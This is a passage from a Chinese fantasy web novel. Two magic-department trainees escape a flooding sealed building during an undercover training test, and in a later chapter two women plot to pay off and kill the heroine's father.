也许他只是不想藏,有时没必要藏。
躺在床上,越洱脑中交叉闪映着和边锋的对话、法力部闹事的赌狗爹。
脑子乱乱,精疲力尽睡过去。
夜凉如水,“嘣!”一声巨响,越洱惊醒坐起。
血管还在突突跳,借着月光,她看见此生难忘的一幕——
水漫天盖地扑涌而来,门开了大洞,边锋趟水跨进房间。
水已经淹没他膝盖,越洱床边成了流动的汪洋。
“越洱!我们要快点出去。”
门外旋转楼梯的声控灯时明时暗,稀罕的光披在边锋肩上。
越洱道“好”,跪起下床,一脚踩进冰凉的水里。
因为门开个大洞,水争先恐后涌出门外,顺着楼梯淌走,但房内水平面却诡异地持平,甚至隐约在升高。
一只手伸过来,越洱立马抓住边锋,一大一小的手紧紧握住。
“这不会是水管裂了,走,闪现出去。”
边锋摇头道:“闪现不走。”
越洱已经使出法力,身子却如千钧重,闪现不了一点。
二人只好紧抓着对方的手,一步步趟水向外,从洞口钻出。
边锋的手又冷又硬,骨节分明,包裹住越洱的手。
铁艺旋转楼梯成了“瀑布”,水不断从上至下砸来。
“怎么只有我们两个?”
越洱从楼梯中空处望去,楼梯上没一个人,一楼已经成了大池塘。
“现在的问题是,我们到了一楼也出不去。”边锋道。
一楼能积起那么深的水,显然楼门是封死的。
最古怪的是,鸟人呢?安全司,安保队,出了事一只鸟也没见着。
现在闪现不成,结界也没法用。
越洱飞出乾坤袋,悬空抽了两个保鲜袋。
她驱动法力,把保鲜袋变很大,幸好这种法力可以使。
转而对边锋说:“先爬进去,这水深增速不正常。”
“我们一个袋。”边锋使劲抓着她手,脸色不是很好。
越洱却道:“先分开,这样氧气能多用会儿。”
边锋这才放开手,他们分别爬进飘在水面的巨大保鲜袋,全凭法力托着才没陷落水里。
二人调整好坐姿,越洱挥手封了保险袋口。
现在他们像两个水球飘在水上,一个球挤另一个。
保鲜袋密闭,漫天砸来的水打在塑料袋上,水击打塑料的声音成了主旋律。
越洱更靠近门一些,水一冲,她的球就挤掉了边锋的球。
边锋被保鲜袋球装着,滚落到五层,他用法力暂时停住。
揉揉太阳穴开了通灵镇,总算这回能联通越洱了,没屏蔽。
越洱声音犹如在耳边响起:我上楼看还有没有人,你一路往下炸门试试。
边锋:那你当心,别太久。
越洱:你也当心,炸的时候保鲜袋离远,别把袋子搞破。
二人兵分两路,越洱驱动法力,保鲜袋水球逆“瀑布”而上。
7楼,胶把钳召出,暴力破门。
越洱隔着门洞,隐约可见一个长发女生侧躺在床上,水已经淹过她挨着枕头的那边耳朵,人竟然没醒。
越洱隔空操作胶把钳,三把大钳夹住女生身子三段,力道算轻的。
一个新保鲜袋在空中扩大,袋口大张,冲着床沿,好像张嘴等着吞没一条大鱼。
三钳共同发动,如铲车一般,把湿漉漉的长发女生铲进保鲜袋。
越洱挥手封闭保鲜袋,一个新的水上气球漂在水面。
与此同时,楼下传来一声爆裂的“嘣”响,边锋人在四楼,炸开了五楼的门。
他正驱法力上到5楼,就听越洱在通灵阵里说:不用上来,你继续往下炸,我派保鲜袋去捞人。
边锋不合时宜想笑:你真的很会用保鲜袋,法力不够找我借。
装着长发女生的塑料球顺着旋转楼梯的水瀑布,漂到边锋身后。
两个新保鲜袋和两把巨钳也一并飞下,分开进入501
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、502捞人。
边锋用自己的球挡住身后球,双手翻飞捏诀,八道红光从他掌心飞出。
红光穿越袋子,速速飞下楼,1至4层的每一道门前,都悬飞着一道强劲红光。
边锋闭眼默念,红光应召增强,他传音给越洱:捂好耳朵,三二一——
连天的巨响炸开,八道红光炸开七扇门。
唯有一楼封闭的楼门纹丝不动。
越洱身后追着五个充满氧气的保鲜袋球,她也流到五层来。
第三把钳子本来乖乖贴着她,听见楼下炸开,立时飞往楼下,带着保鲜袋捞人去了。
边锋看着胶把钳和开口的保鲜袋从近旁擦身而过,心神荡漾,怎么越洱这人、越洱用的一个个怪招,都这么叫人心里爱得紧。
边锋道:一楼那个房间没人,楼门炸不开。
越洱:试试窗子。
方才一路下来,越洱发现窗户被全部封死,这显然是有人趁他们睡着,有预谋地下手。
但说不好,可能是卧底训练的一部分,也可能另有大雷。
安全司鸟人都消失不见,其它同事们又一个个睡得昏死过去。
越洱暗自祈祷不要有第三方掺和,要不然她和边锋就得两个人对战未知方,还有那么老些人要护着。
保鲜袋再大,氧气也不够耗多久,越快出去越好。
“砰!”
边锋:窗子也炸不开。
这么说,他们所在的这栋楼,是一个大型密室,不知哪儿发的大水哗哗哗灌个不休,迟早把这里变成一栋封闭的水柱楼。
二楼即将被淹没之时,最后一个同事被转进保鲜袋封成球。
越洱、边锋乘球漂到二楼水面。
越洱:我潜下去看看楼门。
边锋:我去,你在这儿等我。
越洱:你在这儿更好,鞭子钩住楼门,如果我这个球被水压破,你就用鞭子拉我上来。
二人隔着半透明的保鲜膜球对视,边锋眉头紧锁,神色似是不满她的安排,又觉得合理。
边锋:那别钩门把手了,我用鞭子拴着你脚踝。
越洱:还是得钩,到时候钳子和鞭子一起使力,不然我自己拉不开楼门。
边锋:……
边锋:那就放揽月和牙牙它们下去,你偏要自己以身犯险吗?
他这话语气挺重,是越洱不曾听过的。
磨合多年的武器通了主人神识,多花些法力,它们甚至能“带上主人的眼睛”。
所及之景,通过联接的神识反馈给主人。
只放揽月和牙牙潜水下去,确实可以。
越洱自己亲自去,贴身能把钳子法力发挥到最大,顺便透过一楼玻璃门看看外面。
十层往下的所有玻璃窗都被一种黑色物质封死了,看不见外头什么情况,唯有一楼玻璃门可能还……
她也晓得边锋顾虑,不好一意孤行,便点点头:好,我们先放揽月和牙牙。
边锋脸色这才稍霁。
一条锁链鞭、三把胶把钳,齐齐落入水中,向一楼潜行。
深入水中,只见好些家具悬浮其间,竟是没有漂上水面。
揽月的锁链先行钩住楼门把手,随后通过牙牙反馈,越洱看到:一楼玻璃门外通透,没被黑色物质完全封死,仅有门缝空隙夹着成条的黑色物质。
直觉告诉他们,还得从一楼玻璃门突破。
27.人面纸鸢
一把钳子夹左边门把手,一条鞭子栓右边门把手。
二人齐齐发力,玻璃门却丝毫不动,法力迅速燃烧,对抗巨大的水压。
他们乘坐的保鲜膜水上球也随着水面不断升高,渐渐到了三楼。
十几个球漂浮在水面,随着水波晃动不已。幽深的水,故障吊灯有一下没一下闪射出光斑,使得这栋小楼内部好像某种梦核。
越洱驱出的法力如泥牛入海,去而无返,咔吧一下,玻璃门左右把手一并断了。
断裂的把手在水下茫茫然漂浮开,越洱于水面收到牙牙画面反馈,还没来得及高兴,又见断口处的小孔立马钻进黑色物质,堵死了。
一滴水也没流到门外。
边锋也看到揽月反馈画面,当即传音给越洱:“水压太大,我们烧完法力也难打开。”
越洱冲他点头,两个保鲜膜球外壁覆上斑斓水珠,谁看谁也面目不清:“怎么都得去外面,要么试着破门。”
但说到破门,边锋的鞭子在水下几乎使不出什么力,而且看刚才情形,也许破开部分会立即被黑色物质填满。
那黑黝黝的半流体,好像柏油。
越洱道:“你照看好他们,我试试破门。”
三把钳子占领主位,揽月退回水面,游弋在起伏晃动的水球之间,像月光下银色的水蛇。
越洱集中精力,闭眼捏诀,驱动三把巨钳狠命砸向水下玻璃门。
受到冲击,门缝和断孔处的黑色物质抖动起来,似是不安的怪物。
越洱心道,这一栋楼,处处窗口都封这么死,窗外黑色物质极厚,敷了狗皮膏药一般。
反而是一楼玻璃门这么大破绽,只一丢丢黑色物质,受到冲击没增殖,其它地方的黑色物质也不过来打补丁。
是不是正说明,现在是那帮鸟人,或者说是法力部搞的卧底考验?
她倏然睁眼,毫无保留击出法力,三把巨钳在深水下竟也高速砸门,似毫无阻力。
游弋水面的揽月还抽空给边锋传送水下画面,像在邀他看戏。
是有多强悍霸道的法力,才能这般驱动三把神武,视水压阻力为无物。
纵使边锋见识过她法力,此时也不由随之心神激越。
好想拥有!
越洱则故作凝神严肃之姿,看起来十成十专注,手心法决更是捏得翻飞,不时打直手臂捏指追加法力。
她料定安全司的鸟人正在暗中监视打分,直接开始表演,恨不得舞一套醉酒莲花拳,怎么夸张怎么来。
边锋:……
他算是看出来了,越洱这套强是强,但夹带私货,好似开屏孔雀,求的却是印象分。
她真的,为了通过试用期,拼了。
且不说到底有没有人在打分呢,他忍不住笑起来:“试试一边popping一边施法,分肯定更高。”
听他调侃,越洱没看他,嘴却压不住笑。
玻璃门还没破开,显然用法力加强过。
边锋翘着一根手指懒懒驱动鞭子:“该不会是鸟人全部隐身在外面堵门吧?”
他有意吐槽安全司,更刻薄的话却堵在喉头,既然越洱要留在法力部长期干,那他也就想留下。
以前无所谓,哪儿赚钱去哪儿,职业禁林玩家和赏金猎人,比法力部死工资赚多了。
他那时拼命挣钱,为了给边沁留点依靠,出大事好兜底;也为了调查爸妈死亡真相时,好开方便之门。
可这么些年过去了,他人没死,那件事也始终没查出什么头绪。
边锋手上积蓄够几十年不上班,最初进法力部为查案,他本想查出真相就“退休”,游荡三界,偶尔接个悬赏单子权当调剂得了。
眼下,却是头一回,想留在一个人身边,哪里都好。
越洱腹诽,以后有了房子,装修得多用玻璃,反正加了法力这么难破,说不定比墙还安全。
她还没回边锋的话,就听一声轻微“噗呲”,转头一看,远处水面上一个保鲜膜塑料球袋口开了,漏气极快。
长发如乌墨的女人,随着瘪掉的保鲜袋猛然落水,失重呛水,醒了过来。
女人挣扎两下,就被一条冰凉锁链捆着腰身托出水面,凑近旋转楼梯栏杆边。
她才冒出水,大喘几口气,忙伸手抓牢栏杆,便才看到眼前奇异景象。
十几个巨大的透明球漂悬水面,一栋“水楼”,昏黄的顶灯打光下来,波动水心有两个球挨在一起。
他们是自己之前,唯二清醒坐立的人。
越洱仔细瞧她,一头乌发湿水,很长很长披在她身上,尾端在水中炸开花,使她看起来好像一株水生植物。
边锋收回揽月,飞了个传音符过去:“你还有法力吗?可以用武器把自己托起来。”
那女人朝他二人点头,倏然飞身离水,下一秒落下,触及水面时,足尖化出一朵血红的花,迅速变大成了个台子,托起她来。
越洱见她手中同时化出一把斧子,斧柄之高,几乎等同女人身量,挥动几下,飒沓如风。
越洱刚松口气,想叫她一齐破门。
突然,三楼半封死的窗子猛然打开,穿过蠕动的黑色物质,一大堆纸鸢迅疾飞贯而入。
紧接着每一层窗户都破开,成千上万的纸鸢旋飞在整栋水楼间,可黑色物质还在,它们像被纸鸢锐利的边切开缝隙,随后立马愈合,像水溶于水。
越洱定睛一看,纸鸢上,白天看过那些高飞天上、憨态可掬的燕子脸,一一变成了可怖的人脸,狞笑不止,脸蛋血肉通红,像被恶心祭品饲养起来的邪祟。
霎时间,数不清的人面纸鸢,刀割一般刷刷毁掉所有水球,众人猛然下坠。
只有那脚踏血花台的女人还站立水上,她挥斧飞斩,割开一张张可怖的人脸纸鸢。
越洱趴在钳子上升起,一抬头就有铺天盖地的纸鸢压来,她被锋利的纸边割得血痕满身。
双手交叉护脸,勉强站了起来,越洱无暇他顾,赤手空拳搏击,拳拳到肉打脸,那些纸鸢挨她一拳,晕乎乎落进水里。
可双拳难敌,人面纸鸢仍不断飞来攻击,越洱怒意横生,几乎感受不到新痛,只一一拳拳集中打出,拳快得出残影。
她余光瞟见近旁,几个昏睡的同事先后出水,靠着本能自救。
边锋一鞭甩向顶楼,揽月劲力极大,生生凿开天花板,锁链栓住厚重的顶墙,其外是一层黑色物质,虽仍是出不去,好歹垂下一条看似无限长的锁链。
一些惊惶的同事避闪不及,被人面纸鸢割得“嘶嘶”吸气,手中武器本只够托起自己,又怎么还击。
忽见这锁链自天垂下,便一手抓住锁链,脚绕几圈用锁链拴着,踩着,这才腾出武器去打烂缠人的纸鸢。
一时间,仿若空中楼阁,挂起一串野猴子。
边锋延长鞭子,锁链不仅从天花板直延伸入水,还能盘绕几圈,从水中探出鞭头。
鞭头除了锁链,还有一个黑色的雕刻手柄,像是由某种诡异的骨头雕成。
边锋甩着这锁链鞭头,打烂许多纸
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鸢,稍稍清开眼前障碍,才见不远处一人睡衣成了血衣,那人脚踩胶把钳,用一种极为费力的拳法飞速打击,不是越洱又是谁。
边锋暗骂一声,飞掠上前,堪堪站定在钳尾上。
锁链横飞,越洱渐渐感到人面纸鸢围攻稀疏下来,这才注意到边锋站在后方帮自己。
她回头,听见那人说:“怎么不用钳子?”
还未及回应,忽闻周遭寂静,所有声音一下被抽走,昏黄的灯光骤停。
一个攀挂在锁链上的卷发男人,忽地抬起头来,冲越洱大喊大叫,卷发男人面色苍白,在这无声无息的水楼中,他脸上表情崩坏,像融化的油蜡。
越洱怔忡地盯着他一张一合的怪嘴,鲜红的舌,耳边只有轻微的嗡鸣,更像是一种惊惧之余产生的幻听。
她没有来心中害怕,极力去启动通灵阵,边锋也好,段飞烨也好,随便联系上谁都成。
可通灵阵如浇熄的火,仅留一片死灰,谁也联系不上。
她也晓得边锋站在身后,自己却浑身不得动弹,只眼睁睁看那卷发男人晃动锁链,动作被拉扯变形,像是被压拓在纸上的丙烯颜料,最后一笔飞白发虚。
一切都不真实,越洱感觉自己在围观一场缓慢的、无能为力的梦。
她尝试驱动法力去救人,连抬手都极为艰难,抽了帧的慢动作。
牙牙、揽月在缓慢移动,像漂浮空气中的慵懒尘埃,没有目的与方向。
忽的,对面那扇窗钻进一股黑色物质,成了整栋楼中唯一正常运动的存在。
黑色物质突然加速,涌上前包裹卷发男人,吞噬了他。
那张惊恐变形的脸融进黑色“柏油”,没有打烂的纸鸢也随之压迫而来,一张脸满口黄牙笑着扑向越洱。
她动弹不得,顿觉呼吸困难,五脏六腑都仿佛被挤压得生出知觉,个个抗议。
恰此时,气压骤降,水银泻地般,大水猛然冲出一楼玻璃门。
压到越洱面前的那张满口黄牙的脸,骤缩倒退回去。
人面纸鸢被窗外的黑色物质吞没,消失殆尽。
周身强压四散,越洱终于得以喘息,轰隆的水声传来,一切嘈杂的声音掩盖其下。
众人法力恢复,与此同时,天花板难以承重,被锁链坠着破裂,掉下一大砣钢筋水泥块。
钢筋水泥块直砸向水心,越洱赶忙驱钳载着边锋离开,二人半蹲在钳上稳定重心,钳飞天外,冲出了天花板的巨大破洞。
东方破晓,巨钳悬飞在高大的树梢顶端,越洱站起,看见楼下大水还在不断冲出,发了洪一般。
这水出了楼,却好似听懂人话,乖乖顺着小巷朝中心广场游去,一接触到广场圆边,就被吸收入砖石之下。
越洱打出个喷嚏,周身忽而一暖,淡色的金光毛茸茸围绕起她。
边锋的身影从身后笼罩而来,轻轻环抱住她。
他不说话,指尖不断流逸出茸茸的金光,给越洱烘干、疗伤。
越洱虚靠在他怀里,感到边锋下巴搭在自己头顶,想看他面容也不敢。
两具躯体贴在一起,她的冰凉,边锋的却还透过湿衣,传来热气。
沉默片刻,越洱抬指尖去勾身前那蒲公英般的金光,尬夸道:“你可以进修疗愈系了……”
边锋仍是不说话,直待二人烘得干燥清爽,也还抱着。
越洱刚想说“你下巴戳得我脑壳疼”,试图调节气氛,就听头顶传来一句:
“好多伤痕,你当我不会心疼吗?”
28.安全司一帮老婆婆
越洱当即被这句话烧得面红耳赤,又觉肉麻无比,当即挣开怀抱撇一眼边锋:“你给我正常点哈……”
边锋颧骨上挂一道细细红痕,被纸鸢割伤的,他似乎没注意到,收了指尖灵力。
他手心化出一个宝蓝色翻皮的束口袋子。
越洱眼一亮:“原来你也带乾坤袋了,挺好看。”
那还……这也跑来借,那也跑来借,她心中闪过一丝悸动,又立马被自己按压下去。
边锋翻手,一件黑色长袍从乾坤袋口飞出。
他抓好袍子衣领,猛地一甩,觉得板抻了,才披到越洱肩膀上:“你睡衣被割破了,先穿这个挡挡。”
越洱方才一心对战出逃,才歇口气又抱让边锋抱个满怀,这才留心看自己睡衣。
只见印着黑白小狗的白底睡衣裤,被割成条条破布,血水洇开,很是骇人。
好在只露出些腰腹和腿上肌肤,重要的没露。
她乾坤袋里也有干净衣物,只是不好换,边锋这个长袍挺方便。
她缓声道谢,伸手拉上袍子腰带,整个身子陷进清香的洗衣剂味道,情不自禁抬起袖口嗅了嗅。
一抬眼看到边锋直勾勾盯着自己,又赶紧放下:“哈哈,好香哦,没忍住……”
听她越说越没底气,边锋眸色深沉:“正常点。”
越洱被他拿话一噎,反而噗地笑出来。
他们站在钳上,树梢抚过钳身,扫了越洱脚背。
往下看去,楼里众人随水流冲出,皆是狼狈,二人乘钳降落。
脚下的钳子收起,换为趁手大小拿着,越洱一抬眼,另两把夹住玻璃门的巨钳也飞过来,乖乖贴在她身侧,似铁打的庞大宠物。
散坐在一边休息的法力部同事纷纷抬头看她,那个长发乌黑、脚踏血莲的女人朝越洱飘来,近身瞬间,血莲如轻烟散开。
女人一头长发已干,发量极多,蓬松乌黑,她伸手对越洱道:“是你救了我,多谢,我叫严络亚。”
越洱把手中钳彻底收起,回握她的手:“络亚,别客气,叫我越洱,你头发真好看。”
方才千钧一发之际,两把巨大的钳子,一橙一蓝,共同夹住门把手,从外面打开了玻璃门,楼内水飞泄而出。
门从内拉不开,从外一拉就开,水压发挥了很大助力。
严络亚转向边锋:“也谢谢你,你的武器是链子?”
边锋笑呵呵回道:“是一把鞭子,鞭身看起来像锁链罢了。”
随即又有几个人走来道谢,他们前半段昏睡许久,但休息时听严络亚讲到越洱那些保鲜膜球,又见开门放水的巨钳立于越洱两侧,便捋清来龙去脉。
越洱回着,小声让边锋化出揽月绕在他手上,又指给同事们说多亏了边锋这条“很厉害”的鞭子。
其中不少人都是挂在锁链上才腾手自保的,本以为那锁链真是“自天上来”,现在才知是神武,纷纷称赞“好鞭”。
揽月听了通身舒泰,锁链哗啦啦响个不停。
越洱身侧的两把巨钳不干了,悄咪咪离她几步,“咔嗒咔嗒”在那儿开合钳嘴,吸引来好些夸奖和摸摸。
收起的巨钳急忙和越洱通了神识,委屈地要出来。
越洱不再压制,干脆放出它,于是场地上三钳一鞭,乐呵呵地讨宠,好不热闹。
一般修士的神武多为铸剑,但随着铸剑技艺多被仙门垄断,凡间铁铺很难再找到可以称上“神武”级别的宝剑。
要么出生就有仙门中人送上铸剑贺礼,要么只能自个儿炼化一把普通武器,并于修炼和实战中不断磨合,以期终有一日能达到人与神武合一。
多数人虽拿不到仙门铸剑,但还是买得起铁匠打出来的刀剑,这类武器最受修士欢迎。
严络亚那种高而重的大斧,不是不喜欢,是炼不动、太费力。
鞭子嘛,总感觉攻击力不够、难以近身搏斗,等你套上别人脖子,都不知被快刀快剑捅出多少血窟窿了。
至于胶把钳……更是从未得见,这玩意儿还真有人选,关键真有人拿胶把钳炼出三把神武,不得不称奇。
大家先前还在讨论这次“发大水”,聊着聊着,东拉西扯,一会儿说黑色物质很像史莱姆怪物,一会儿说自己当年怎么在仙门选拔遗憾落选。
忽然一群花夹袄裹头巾的老婆婆驼着背走近,引众人侧目,聊天声降低消散。
打头的老婆婆裹着三色格子头巾,她右眼戴着单片的圆形老花镜,勾腰驼背、一步一崴地走进众人中央。
“婆婆,你……”
“噗敷”一声,一阵黑烟轻轻炸开,越洱吃了满嘴毛。
老婆婆迅速抽条,展开,变成了——鸟人。
众人:……
安全司这帮鸟人,该救人的时候不在,现在来这儿耍什么戏法。
鸟人展翅鞠躬,一脸骄傲抬头,绿眸浅笑着,却见无一人叫好。
众人无语,连那两个“我老公我老公”争来争去的女生也黑着脸“噗噗噗”吐掉满嘴羽毛。
鸟人翅尖还挂着那三色格子头巾,讪笑着转去看越洱:“大家,表现很好。”
众人:冷笑呵呵.JPG
鸟人清清嗓,外围那一排神采奕奕的花色“老婆婆”,本来跃跃欲试,见领队碰了满鼻子灰,也不嘚瑟了,悄悄化回鸟人形态。
若有路人经过,会看见一个个花袄老太太,忽地被喷飞的黑色羽毛埋没,待再现身,一排排鲜艳夺目的老太太,变成黑压压的高大黑鸟。
有人给了台阶:“鸟人老师,这是做甚嘞?”
鸟人忙投去感激一撇:“各位卧学员,相信刚才试炼中,大家都体会到了卧底工作多么艰辛危急。”
你想说凶手会水淹众人?越洱心道,不是说不能吧,但既然预言谋杀,水淹大楼是不是太绕弯子?
鸟人坚持说道:“但大家成功突围,可见团结又有力……”
鸟人自进法力部,一路晋升拿奖,最怕的就是当众演讲啦、致谢啦。
眼下气氛更是难以服众,大家嘁嘁喳喳对训练方案质疑,没谁站出来明说,却也没谁像是真“服了”,这可要了他亲命了。
本来就不擅长讲话,部长还给鸟人布置了NPC般的台词,都要传回部里【机要司】给几个高层过目的。
鸟人轻咳一声,忘词了:“……那个,大家有什么疑问可以提。”
立时就有人举手上前,是当时被黑色物质吞掉的卷发男生。
“鸟人老师,你们放的那纸鸢割人会感染不?我先被割伤了,伤口又浸在那黑玩意儿里,得给我治治吧?”
鸟人脸色一僵,仔细盯他半晌,盯得那卷发男生心底发毛道:“我自己倒是也能疗疗……”
鸟人却打断他,招手唤来一个手提巨大药箱的白毛鸟人。
越洱从没见过白色鸟人,白鸟身形高挑,是个女人样貌。
通身披着白色羽毛,翅膀形状显得更为瘦长漂亮,她脸上睫毛也是白的,头发确实火烧云一般的橘色。
鸟人附耳与白鸟交代几句,白鸟神色淡漠,看不出什么变化。
她轻微点头应下,鸟人才转头对卷发男生说:“你跟许医生去,她会给你看。”
卷发男生不敢盯着白鸟,悄咪咪瞥几眼,害羞地挪过来。
白鸟放下药箱,巨大的白箱子落地闷响,光是听着就重。
她翅膀一挥,箱盖猛地弹开,箱中不见药品,确实一团绚丽闪眼的彩光。
“今天这些鸟很吵眼睛。”边锋小声对越洱哔哔。
越洱反
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应了一下,才明白什么是“吵眼睛”,憋笑对边锋:“也吵到我眼睛了。”
白鸟在众人注视之下,翩翩然走到箱前,倒着坐进空箱,陡然被彩光吸进箱中。
卷发男生惊呆,下一秒却见白鸟从药箱彩光中心探出半个头来,火烧云般的橘发似被箱底风吹起,飞扬不已。
白鸟眨巴眨巴眼,对卷发男生勾勾手:“来呀,还治不治了?”
那男生“哦哦”,憨头憨脑走到箱子边,犹犹豫豫不敢落屁股坐下去。
他欲做又起,站着看药箱游移的光。
鸟人看不下去了,一脚踹他屁股墩,卷毛叫喇喇地扑下,一瞬被药箱吸收进去了。
鸟人又一脚勾上药箱盖,食指掏掏耳朵:“吵死了。”
那白色药箱倏然闭合,迅速化小,变成一只小小鸽子,扇动翅膀飞了。
众人稀稀拉拉鼓起掌来,越洱也看向鸟人,却见他神色不如将才放松。
什么时候开始不对劲呢?
以她对鸟人浅薄的了解,从卷毛说那句话开始,鸟人就不对了。
她打算寻个时间直接问鸟人,天边太阳东升,她打起哈欠。
引得一串哈欠连天,大家都没睡好。
“鸟老师,接下来去哪儿?有休息时间吗?”边锋问道。
鸟人回头看一眼公寓楼,大水无痕,地面干燥,但楼中家具物事冲得到处歪着倒着。
越洱以为要让他们摆弄好家具继续睡这栋楼里,却听鸟人缓缓道:“回部里。”
“就、就这么回去啦?”严络亚语带抗议。
越洱一直觉她眼熟,脑中灵光乍现——
这不是刚下来深渊那天,那个“要钱不要命姐”么!
当时鸟人说,情境里死掉的话,真身“只会重伤”,众人抱怨中没,这姐们松快来了句“有补偿金就行”。
那时就有人说她“要钱不要命”,越洱也佩服此人心态甚好,只是严络亚当时盘着头发,还戴一顶奇形怪状好似鸟巢的帽子。
“对,先回去。”鸟人说:“卧底训练是随时随地,接下会有其他考验,记得去部里闭上嘴,别演戏、别泄露。”
有人叫嚣:“不演戏不就泄露了么。”
鸟人冲他温柔一笑:“你们的演技,不演戏就不会泄露,拜托了。”
那人还想抗议,你怎么知道老子演戏不行,却忽地想起昨天卧底情境,自己自作聪明,反而差点被情境里其他人发现,顿时闭上嘴不杠了。
鸟人双手合十,语气轻松:“好,谢谢大家配合,请找到自己对应号牌的鸟人教官,会带你们安全回去的。”
现场没人多信这句“安全”,别在路上又灵机一动搞什么考验幺蛾子,就谢天谢地了。
越洱哈欠连天,她77号对应鸟人,直接原地等就好了。
边锋却没走,神神秘秘挪过来她近旁:“我真的不能来你家睡吗?屋子好冷,好想小狗……”
越洱关上嘴,眼角沁着泪望他一眼,见他颧骨处那道血痕还挂着,血丝都干了。
不由犹豫,边锋给她身上的每一道伤痕都疗愈了,她刚才扒拉着检查过。
可边锋自己脸上,还有手臂、腿上的伤痕都还照旧。
不知他是法力耗尽还是没有留意自己,越洱忽觉舌尖的拒绝似有千钧重。
行吧行吧,来睡就来睡,多得是房间,她自己也想小狗了,只是暂时不能接回来。
她拉着手掌伸展,又看不下去般,手心隔空抚过边锋眼前,替他治了伤。
蓝莹莹的微光绕向边锋面颊、手臂、腿间,划损的肌肤愈合如初。
边锋只看一眼伤口,又定定等着她开口,俊眉星目。
越洱:“……要睡就睡,你怎么不直接给我交房租啊?”
31.你小妞养我?
不得不说,越莫管挺会先发制人。
他是去找罗、陆二人加钱的,但就像菜市场买菜先挑刺再叫价,越莫管这一摔,碎裂的花瓶变成控诉罗、陆情报不准的一把枪。
“叔叔,我们好心给你机会,你别太过分。越洱工资哪儿会这么低,起码七八千。”
罗成荒话先出口,其实自己也不确定,她公公当时帮她进来,请了些人吃饭,都不建议她来异常事务处理司,说是“钱少事多”。
她于是空降去行政部当副组长,成了行政部最清闲的人,天天偷懒耍滑都有一万块拿,没想到异常事务处理司这么拉胯。
她和陆锁仁对视一眼,陆锁仁更是不晓得法力部内部工资,她们承诺给越莫管的17万,也不过先骗他整越洱,钱从哪儿来还不知道呢。
反正罗成荒说先让这毒爹搞定越洱,再找人搞掉越莫管,根本不用真给钱。
陆锁仁脚踩一双蛇皮高跟鞋,脚侧轻轻拨开花瓶碎片,抱臂冷笑道:“谁跟你说的你女儿一个月只有4000块?”
越莫管自是不可能透露和边沁那边的交易,大喇喇坐上一把太师椅:“别跟老子废话!越洱还欠着一大把外债,我比你清楚,你俩要么加钱,要么我去找你们上司。”
罗成荒急得脸发白,她可是真在法力部上班的,她公公这些年又退休了,能帮她进来,可帮不了她长久待下去。
就像在私立学校招生办那次,越洱说对了,她这关系户关系也不怎么牢靠,只比越洱她们多苟了两个月,就被学校找理由踢出来了。
公公势力只会一天天衰微,她老公又没本事,法力部已经是她能够上的最高去处了。
她在行政部偷奸耍滑,那些人晓得她空降来的,还不敢多加置喙。
但要是被越莫管这泼皮无赖去上级面前闹几番,想必要玉皇大帝亲自下凡保她才能留住工作了。
她公婆对她愈加不满,老公也千求万请才回一趟家,现在不是她拿乔得势的时候。
罗成荒换上笑皮,靠近道:“叔叔,您别急,钱都好商量。您别忘了,我公公是谁,都好说的。”
越莫管听此,更是心拿把掐,回想起那小妮子在停云阁说的:“市长儿媳妇怎么可能没钱,指定是坑您来着,太过分了!”
他当即道:“少给我好说好说的,要么50万……”
越莫管眼神上下逡巡过罗成荒身子,满是白苔的舌头舔过门牙:“要么,你小妞给我养老。”
罗成荒气得浑身发抖:“我凭什么养你!”
越莫管讥笑一声,操着粗嘎的声音平静道:“就凭你是市长女儿,要不我去找你公公,让他养我?”
“你……”
“你什么你,你晓得现在上面有督察组下来调查吧?市长的好儿媳竟然跟我这种癞瓜交易,你说,督察组爱不爱听?”
陆锁仁按住跳上前的罗成荒:“你也不怕高跟鞋崴了脚。”
随即她冷冷看一眼越莫管,说要和罗成荒单独商量一下。
二人绕到稍远处柱子背后窃窃私语,正巧和边沁、劳山风蹲守之地很近。
听到这儿,边锋心潮澎湃,很是可惜地拍腿:“哎呀,怎么就不等我回来一起行动,这么刺激。”
他一脸八卦,问:“你们听到啥了?”
劳山风最近沉稳很多,竟不再呛边锋几句,他直接回道:“陆锁仁说反正也要杀掉越莫管,他要什么数答应他呗,又不是真给。”
边沁道:“罗成荒这才告诉她,能不能整死越莫管还不一定呢,现在雇专业杀手可太贵了。”
陆锁仁:“那你之前还敢答应他17万,我丑话说在前头,我手里最多5万哈,全部身家了,还是借来的。”
罗成荒:“我知道,所以不敢答应太多,要是不得不给他的话,我凑剩下那12万。”
陆锁仁:“你哪儿来那么多钱?”
罗成荒就不说话了。
憋了半天,罗才开口道:“你少管,我能凑出来就行,现在他狮子大开口,怎么办?”
却听陆锁仁说:“你那12万给我,我来杀。”
……
“这陆锁仁比罗成荒狠啊,她有法力吗?”越洱问。
“没法力,不知道想怎么搞,总之不会她自己动手,她瘦得只剩一把骨头了。”
“接着呢?”
“罗成荒也没想到陆这么疯吧,她回过味开始讲价。”
罗:“你也是为了溜哥报仇,不是为了我,你知道我老公那边靠不住。”
陆锁仁打断她:“确实是为他报仇,但不也正合你意吗?越洱出了法力部,又欠一屁股债,一辈子再找不到比这里更好的工作,你高枕无忧放心往上爬。不会有人再揭露你以前的事……”
罗:“越洱要是想整我,早就全透给法力部了,况且她空口无凭,没人会信。”
陆锁仁不耐烦了,咂咂嘴道:“那你到底想不想整?杀人要担风险的,你那12万本来不是给越莫管就是给杀手,找杀手又不够。现在我说我解决,你还纠结什么?怎么,同样是杀人,你找的杀手值钱,我找的不值钱?”
罗成荒眼神也冷下来:“我怎么知道你找的什么杀手,别搞些瘪三来,害了你也暴露了我。”
这时,太师椅那边,越莫管催促不断:“商量个飞机,你俩行不行?不行别耽误老子喝酒!”
“所以她俩达成共识了吗?”边锋又想听细节,又忍不住问结果。
边沁道:“口头达成了吧,罗让步了,陆逼她当场转了5万块当定金。”
“可真敢,直接手机转呐?真不怕查到她俩身上。”
劳山风放下手心一大把磕出来的瓜子皮:“反正她们这联盟本来也不牢固,抓到其中一个的话,被抓的必然会出动供出另一个,没必要故意隐藏来往痕迹。对她们来说,重要的是,一个也别被怀疑。倒霉被抓了必须拖对方下水。”
“这罗够恨你的哈,溜金抱的小情人还没她出钱多。按理说,不该是陆锁仁更想搞掉你吗?”
越洱惨淡一笑:“真是想不到,越打工越受‘欢迎’。现在身价都高起来了。”
劳山风绷不住笑了,边锋抱着膝盖,扯扯嘴角,很深地望向越洱。
越洱自己也在笑,没心没肺的样子。
总之,转完
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定金,罗、陆二人在越莫管的催促中回到太师椅前,答应给他50万酬金。
越莫管这次想起来要定金了,但是陆锁仁说,下回见面拿现金。
